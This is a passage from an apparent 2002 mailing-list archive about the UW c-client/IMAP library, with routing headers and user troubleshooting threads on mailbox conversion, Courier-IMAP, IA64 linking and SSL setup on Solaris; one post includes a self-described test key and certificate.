I find the proper procedure for installing the c-client libraries >> on a FreeBSD 4.4 system? I can't find a list of which files to put where. >> If I've overlooked something totally obvious here, sorry. >> > The proper location of the c-client libraries on FreeBSD is under > /usr/local/lib. > > C-client may be installed from either the FreeBSD port > (/usr/ports/mail/cclient) or package (cclient-2001a,1.tgz). > > Scot > > -- Mark Edwards San Francisco, CA mark@antsclimbtree.com From pinedev@shivax2.cac.washington.edu Thu Jan 17 15:17:00 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Jan 2002 15:16:59 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0HNGw7i007419 for ; Thu, 17 Jan 2002 15:16:58 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Jan 17 15:16:52 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0HNGqPs025274; Thu, 17 Jan 2002 15:16:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0HNGT534624; Thu, 17 Jan 2002 15:16:29 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0HNCBK48804 for ; Thu, 17 Jan 2002 15:12:11 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Jan 17 15:12:10 2002 -0800 Received: from googleplex.ibp.de (googleplex.ibp.de [195.222.227.1]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0HNC8Wn018373 for ; Thu, 17 Jan 2002 15:12:09 -0800 Received: from artin.ibp.de (artin.ibp.de [195.222.227.18]) by googleplex.ibp.de (8.9.1/8.9.1) with ESMTP id AAA00681 for ; Fri, 18 Jan 2002 00:12:03 +0100 (CET) Message-Id: <5.1.0.14.0.20020118000059.0326a290@gromit.ibp.de> Date: Fri, 18 Jan 2002 00:12:02 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Immisch To: c-client@u.washington.edu Subject: mbxcvt fails to convert and gives not very much detail Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Sender: lars@gromit.ibp.de X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear all, I hope this is the right place to post this question. If not, please apologize. I am trying to import some old mailboxes into imap. For this, I use mbxcvt: mbxcvt /some/old/mailbox imap {foo}INBOX.old On some mailboxes, (they are all fairly large, from 31 to 80 MB), mbxcvt fails with: "?Message contains invalid header", on some other mailboxes, it fails with: "?Message contains NUL characters". I assume that the mailboxes are indeed corrupted, but I'd like to know where, and fix them manually. But I cannot find out which messages are corrupted. mbxcvt doesn't tell me, and I can't find out where the error message comes from. I searched strings mbxcvt for the error messages and did a recursive grep on the c-client sources, nada. I wouldn't mind hacking mbxcvt and/or c-client, but I don't know where to look. Any pointers will be appreciated. Thanks, Lars -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 17 18:04:45 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Jan 2002 18:04:45 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0I24g7i007210 for ; Thu, 17 Jan 2002 18:04:44 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Jan 17 18:04:36 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0I24aPs029861; Thu, 17 Jan 2002 18:04:36 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0I24I414470; Thu, 17 Jan 2002 18:04:18 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0I0lJK20332 for ; Thu, 17 Jan 2002 16:47:19 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Jan 17 16:47:18 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0I0lIAZ026325 for ; Thu, 17 Jan 2002 16:47:18 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0I0lBUC031487; Thu, 17 Jan 2002 16:47:11 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0I0lCYF011362; Thu, 17 Jan 2002 16:47:12 -0800 Message-Id: Date: Thu, 17 Jan 2002 16:44:37 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lars Immisch Cc: c-client@u.washington.edu Subject: re: mbxcvt fails to convert and gives not very much detail In-Reply-To: <5.1.0.14.0.20020118000059.0326a290@gromit.ibp.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 18 Jan 2002 00:12:02 +0100, Lars Immisch wrote: > On some mailboxes, (they are all fairly large, from 31 to 80 MB), mbxcvt > fails with: "?Message contains invalid header", on some other mailboxes, it > fails with: "?Message contains NUL characters". > > I assume that the mailboxes are indeed corrupted, but I'd like to know > where, and fix them manually. > > But I cannot find out which messages are corrupted. mbxcvt doesn't tell me, > and I can't find out where the error message comes from. These messages sound like they come from a non-UW IMAP server and not from mbxcvt. That probably explains why mbxcvt wasn't more informative. You could try seeing how many messages ended up at the IMAP server; that might tell you which message number in the local mailbox causes the problem. From pinedev@shivax2.cac.washington.edu Thu Jan 17 18:05:51 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Jan 2002 18:05:50 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0I25n7i021667 for ; Thu, 17 Jan 2002 18:05:49 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Jan 17 18:05:46 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0I25jPs029895; Thu, 17 Jan 2002 18:05:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0I25T405574; Thu, 17 Jan 2002 18:05:29 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0I13uK98638 for ; Thu, 17 Jan 2002 17:03:56 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Jan 17 17:03:56 2002 -0800 Received: from googleplex.ibp.de (googleplex.ibp.de [195.222.227.1]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0I13sWn018677 for ; Thu, 17 Jan 2002 17:03:54 -0800 Received: from artin.ibp.de (artin.ibp.de [195.222.227.18]) by googleplex.ibp.de (8.9.1/8.9.1) with ESMTP id CAA00722; Fri, 18 Jan 2002 02:03:41 +0100 (CET) Message-Id: <5.1.0.14.0.20020118014848.02a08eb0@gromit.ibp.de> Date: Fri, 18 Jan 2002 02:03:40 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Immisch To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: mbxcvt fails to convert and gives not very much detail In-Reply-To: References: <5.1.0.14.0.20020118000059.0326a290@gromit.ibp.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Sender: lars@gromit.ibp.de X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear Mark, > > On some mailboxes, (they are all fairly large, from 31 to 80 MB), mbxcvt > > fails with: "?Message contains invalid header", on some other mailboxes, it > > fails with: "?Message contains NUL characters". > > > > I assume that the mailboxes are indeed corrupted, but I'd like to know > > where, and fix them manually. > > > > But I cannot find out which messages are corrupted. mbxcvt doesn't tell me, > > and I can't find out where the error message comes from. > >These messages sound like they come from a non-UW IMAP server and not from >mbxcvt. That probably explains why mbxcvt wasn't more informative. You could >try seeing how many messages ended up at the IMAP server; that might tell you >which message number in the local mailbox causes the problem. Thank you. My IMAP server is cyrus. Cyrus doesn't seem to import any messages if an error occurs. I was also hoping that would give me a clue, but no such luck. I am currently writing some python scripts to filter out NUL characters. This is looking good. I don't know what to do about the invalid headers, but for this, I shall have have a look at the cyrus code. Thanks a lot for mbxcvt. It is a very useful tool. - Lars P.S. cyrus is horrible to install, but I was looking for an imap server that offers encryption and sieve, and the UW didn't seem to do either, so I am trying cyrus. From pinedev@shivax2.cac.washington.edu Fri Jan 18 08:41:23 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 18 Jan 2002 08:41:23 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0IGfM7i030968 for ; Fri, 18 Jan 2002 08:41:22 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Jan 18 08:41:16 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0IGfFmT012045; Fri, 18 Jan 2002 08:41:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0IGTwx17182; Fri, 18 Jan 2002 08:29:58 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0IGSaK102124 for ; Fri, 18 Jan 2002 08:28:36 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Jan 18 08:28:34 2002 -0800 Received: from daimi.au.dk (daimi.au.dk [130.225.16.1]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0IGSX37021162 for ; Fri, 18 Jan 2002 08:28:33 -0800 Received: from 127.0.0.1 (daimi [130.225.16.1]) by daimi.au.dk (8.11.6/8.11.6) with ESMTP id g0IGSUW14399703 for ; Fri, 18 Jan 2002 17:28:30 +0100 (MET) Message-Id: <1382087421.20020118172913@daimi.au.dk> Date: Fri, 18 Jan 2002 17:29:13 +0100 Reply-To: Michael Østergaard Pedersen Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Michael Østergaard Pedersen To: c-client@u.washington.edu Subject: IMAP messages "disappear" MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am using a web based email program (IMP 3.0) with a PHP backend compiled with the c-client library (--with-imap). My setup is: Courier-IMAP 1.4.1 C-Client: CVS-Snapshot from 10-01-2002 (have also tried others) PHP 4.1.1 IMP 3.0 My problem is that when I log on to IMP using an IMAP server, I can see the new messages in my Inbox. As soon as I click one of them I'm told that the message does not exist and all new messages "disappear". The problem is that apparently I can only see messages in Maildir/new, and as soos as they are moved to /Maildir/cur I can no longer see them. Netscape and any other IMAP mail client I have tried does not have this problem with my IMAP server. Still, in IMP it says that I have a total number of messages equal to what I do have, although I can't see any of them with IMP. Since IMP relies on the c-client library provided by PHP I was thinking that perhaps this could be where the problem is? I have asked on the IMP mailing list, but they said it wasn't IMP's fault. Some PHP people say that they just rely on c-client, so the problem could not be with PHP. When I asked about my IMAP server, they told me that it's a client problem and that the server works fine with other IMAP clients. That's why I'm trying here now. Regards, Michael -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jan 18 09:27:32 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 18 Jan 2002 09:27:32 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0IHRU7i027991 for ; Fri, 18 Jan 2002 09:27:30 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Jan 18 09:27:26 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0IHRQmT013424; Fri, 18 Jan 2002 09:27:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0IHRFx16068; Fri, 18 Jan 2002 09:27:15 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0IH2uK32040 for ; Fri, 18 Jan 2002 09:02:56 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Jan 18 09:02:54 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0IH2rpj027871 for ; Fri, 18 Jan 2002 09:02:54 -0800 Message-Id: Date: Fri, 18 Jan 2002 08:50:23 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Michael Xstergaard Pedersen Cc: c-client@u.washington.edu Subject: re: IMAP messages "disappear" In-Reply-To: <1382087421.20020118172913@daimi.au.dk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 18 Jan 2002 17:29:13 +0100, Michael Xstergaard Pedersen wrote: > My problem is that when I log on to IMP using an IMAP server, I can see the > new messages in my Inbox. As soon as I click one of them I'm told that the > message does not exist and all new messages "disappear". > > The problem is that apparently I can only see messages in Maildir/new, > and as soos as they are moved to /Maildir/cur I can no longer see > them. Sorry to pass the buck again, but Maildir is an internal Courier-IMAP issue. There is nothing in IMAP that exports Maildir-specific information to an IMAP client. An IMAP client would never hear of a Maildir/new or a Maildir/cur, much less care about such server-internal details. > Netscape and any other IMAP mail client I have tried does not > have this problem with my IMAP server. That suggests that the problem, whatever it is, is triggered by something that IMP does as opposed to Netscape. When you say "any other IMAP mail client" do you include Pine? If not, you should. Netscape and Outlook are incredibly poor tests of an IMAP server since they use only a fraction of IMAP's capabilities. Pine on the other hand uses almost everything in IMAP. Also, Pine is based upon c-client; so if Pine works that eliminates c-client as a cause and would refocus the issue upon IMP and/or PHP.; > When I asked about my IMAP server, they > told me that it's a client problem and that the server works fine with > other IMAP clients. The Courier-IMAP server has been known to have bugs in the past in which it did not comply with the IMAP specification. However, this report is a new one; and a large number of people use Courier-IMAP with Pine successfully. Also, the author of Courier-IMAP is not likely to be helpful on a bug report in his server, so it's worth going the extra mile to prove that it's his server's fault before speaking further with him. What you need to do is get a telemetry of an IMAP session which demonstrates the problem. That will allow people to focus fairly quickly on whether the bug is in the server or in the client. I'll help you analyze the telemetry once you get it, but I very much doubt that it'll result in a problem found in c-client. If you're lucky, it'll be a bug in PHP or IMP; if you're unlucky, it'll be a bug in Courier-IMAP. From pinedev@shivax2.cac.washington.edu Mon Jan 21 02:07:47 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jan 2002 02:07:46 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0LA7i7i003245 for ; Mon, 21 Jan 2002 02:07:45 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Jan 21 02:07:38 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0LA7bPs014676; Mon, 21 Jan 2002 02:07:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0LA7K547310; Mon, 21 Jan 2002 02:07:20 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0LA2MK100090 for ; Mon, 21 Jan 2002 02:02:22 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Jan 21 02:02:21 2002 -0800 Received: from helios.ankara.gantek.com (helios.ankara.gantek.com [213.74.180.65]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0LA2GAZ006756 for ; Mon, 21 Jan 2002 02:02:19 -0800 Received: from gantek.com (dhcp22.ankara.gantek.com [192.168.6.82]) (authenticated) by helios.ankara.gantek.com (8.11.3/8.11.3) with ESMTP id g0LA1Nc26695 for ; Mon, 21 Jan 2002 12:01:23 +0200 (EET) Message-Id: <3C4BE555.198E820F@gantek.com> Date: Mon, 21 Jan 2002 11:54:29 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: oguz yilmaz To: c-client@u.washington.edu Subject: Mismatched Data ABI. Expected EF_IA_64_ABI64 but found None in file MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Virus-Scanned: by AMaViSperl10-milter (http://amavis.org/ X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN hi all, my system is a hprx4610 IA64, 2 cpu system. I am using make and gcc from devresource.hp.com compiled for IA64. I have compiled University of Washington IMAP. bye saying make ghp (actually this is for hp-ux 10x however in Makefile there is no difference for a bulk of hosts) then i compiled php with ./configure --prefix=/opt/1apache/php --sysconfdir=/opt/1apache/conf --enable-force-cgi-redirect --enable-track-vars --without-pear --with-imap=/opt/2uwimap --with-mysql --with-apache=../apache_1.3.19 my c-client.a is on /opt/2uwimap/lib/ while compiling this php module in to apache executable statically, I get Mismatched Data ABI error for libc-client.a. I think th eproblem is about compilation of uwimap. what paramaters should I use for make or gcc to include EF_IA_64_ABI64 Data ABI in libc-client.a? or do you think this problem is about other things? thanks. gcc -mlp64 -DHPUX11 -I/home/oguzy/work/php-4.0.6 -I/home/oguzy/work/php-4.0.6/main -I/home/oguzy/work/php-4.0.6/main -I/home/oguzy/work/php-4.0.6/Zend -I/home/oguzy/work/php-4.0.6/Zend -I/home/oguzy/work/php-4.0.6/TSRM -I/home/oguzy/work/php-4.0.6/TSRM -I/home/oguzy/work/php-4.0.6 -DUSE_EXPAT -I./lib/expat-lite -mlp64 `./apaci` -Wl,-E -Wl,-B,deferred -Wl,+s -o httpd buildmark.o modules.o modules/php4/libphp4.a modules/standard/libstandard.a main/libmain.a ./os/unix/libos.a ap/libap.a lib/expat-lite/libexpat.a -L/opt/2uwimap/lib -L/opt/2uwimap/lib -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4 -lc-client -ldl -lm -ldl -lnsl -lm -lpthread ld: Mismatched Data ABI. Expected EF_IA_64_ABI64 but found None in file /opt/2uwimap/lib/libc-client.a[mail.o] Fatal error. collect2: ld returned 1 exit status make[2]: *** [target_static] Error 1 make[2]: Leaving directory `/postavol/home/oguzy/work/apache_1.3.19/src' make[1]: *** [build-std] Error 2 make[1]: Leaving directory `/postavol/home/oguzy/work/apache_1.3.19' make: *** [build] Error 2 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 21 04:05:14 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jan 2002 04:05:13 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0LC5A7i019795 for ; Mon, 21 Jan 2002 04:05:11 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Jan 21 04:05:01 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0LC51mT015929; Mon, 21 Jan 2002 04:05:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0LC4q405302; Mon, 21 Jan 2002 04:04:52 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0LC33K135736 for ; Mon, 21 Jan 2002 04:03:04 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Jan 21 04:03:00 2002 -0800 Received: from irwanhadi.dorms.usu.edu (irwanhadi.dorms.usu.edu [129.123.230.12]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0LC2xAZ015253 for ; Mon, 21 Jan 2002 04:03:00 -0800 Received: by irwanhadi.dorms.usu.edu (Postfix, from userid 501) id B1CEBC831D; Mon, 21 Jan 2002 05:00:50 -0700 (MST) Message-Id: <20020121050050.A10060@phxby.com> Date: Mon, 21 Jan 2002 05:00:50 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Irwan Hadi To: c-client@u.washington.edu Subject: Problem installing UW Imap on Solaris 8 for Sparc Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear All, I got a problem in installing UW Imap on Solaris 8 for Sparc. The problem is although I can installed it successfully, but when a client wants to connect, it gives error like below : Jan 21 04:48:58 sol imapd[7092]: [ID 927837 daemon.info] connect from irwanhadi.dorms.usu.edu Jan 21 04:49:01 sol imapd[7092]: [ID 210418 auth.notice] Login disabled user=irwanhadi auth=irwanhadi host=irwanhadi.dorms.usu.edu [129.123.230.12] for the imaps, I also got problem like this [sol]/> telnet localhost 993 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. ^] telnet> quit Connection closed. [sol]/> Jan 21 04:52:02 sol imapd[7152]: [ID 781495 mail.alert] Unable to load private key from /opt/ssl/certs/imapd.pem, host=localhost [127.0.0.1] [sol]/> (seems it can't read the private key, but in the imapd.pem I put exactly as on the example at http://www.washington.edu/imap/documentation/SSLBUILD.html) (the certificate below is just a test certificate and not a real one) [sol]/opt/ssl/certs> cat imapd.pem -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,49B69C8BF2371538 9a06Q9nrSzGmzIJIOjdl3aAsgbj1Tezu6f8t2KoEcXiHyp62hnJsReumUf/fIku+ zUqFE0J2eipxxhNwMPA84TaMWsMpo6v/cN4J1PHjaN8MRhprn3xFbi6zPnrg9Pih NUYlMH5rMZwvwpmfjx7UpF8gAcg3xI93VPBXC3bCVYgyT4ViTPhbNoa+y2L/eGOY iO8HHP4eb5gKZE2vdEV2KJ2uRIBpzn2+LfYY+L/9AC3LbcDLNRrgdkffU6mMNof2 1WIkbRObX9k9xPyiK1adm2IFoeN7P9s/qYZfJBRRL5Ec+BSYEBfBvU9JmdxhB4Ud 9En5+PcpnPCjvI9G8NjkvMt16tIrQSHjr3x0fy0gq0C+BABlMWA4kYoKaPHE3Bng WaFeJuLmLLwYBhKYgPjv9C5uiUSC1Ay2XFaqhp0s8Krosgd64tgBwg== -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIICjDCCAfWgAwIBAgIDGr5DMA0GCSqGSIb3DQEBBAUAMIGHMQswCQYDVQQGEwJa QTEiMCAGA1UECBMZRk9SIFRFU1RJTkcgUFVSUE9TRVMgT05MWTEdMBsGA1UEChMU VGhhd3RlIENlcnRpZmljYXRpb24xFzAVBgNVBAsTDlRFU1QgVEVTVCBURVNUMRww GgYDVQQDExNUaGF3dGUgVGVzdCBDQSBSb290MB4XDTAyMDEwNzA5NDg0NVoXDTAy MDEyODA5NDg0NVowgaoxCzAJBgNVBAYTAlVTMQ0wCwYDVQQIEwRVdGFoMQ4wDAYD VQQHEwVMb2dhbjEeMBwGA1UEChMVVXRhaCBTdGF0ZSBVbml2ZXJzaXR5MR8wHQYD VQQLExZDb2xsZWdlIG9mIEVuZ2luZWVyaW5nMRgwFgYDVQQDEw9zb2wuZWNlLnVz dS5lZHUxITAfBgkqhkiG9w0BCQEWEmxlcy5zZWVsZXlAdXN1LmVkdTBcMA0GCSqG SIb3DQEBAQUAA0sAMEgCQQDKc1B1feQYu7Uq4xhzz627IR/99i1Le9HGCbof1/NY 1r8gsJVzlWcI+hKE5y51jsA3UGIkOZLug2hi6cWAB0gtAgMBAAGjJTAjMBMGA1Ud JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEEBQADgYEA HiVp1IvRZ5fK9lkc07Sf8CGPQ6ik9g1Wy8xk1B+zOerz36XYZJo5/w9Eq6xrYA7U cKqnTexrcP/G8ykhXcemX5zIo3FFUfxKbrb1ceXjP5u5faA3dtE3dwwkQWJO5VhV 7v/CgMjIJhsbbjStNR9/j1ZAFCIBYJfgmDdfN3uuWQQ= -----END CERTIFICATE----- [sol]/opt/ssl/certs> So, what did I do wrong in this case and how to fix it ? Thanks -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 21 05:38:06 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jan 2002 05:38:05 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0LDc47i012229 for ; Mon, 21 Jan 2002 05:38:04 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Jan 21 05:37:51 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0LDbpPs018085; Mon, 21 Jan 2002 05:37:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0LDbg421112; Mon, 21 Jan 2002 05:37:42 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0LDaiK24910 for ; Mon, 21 Jan 2002 05:36:44 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Jan 21 05:36:41 2002 -0800 Received: from helios.ankara.gantek.com (helios.ankara.gantek.com [213.74.180.65]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0LDaa37019110; Mon, 21 Jan 2002 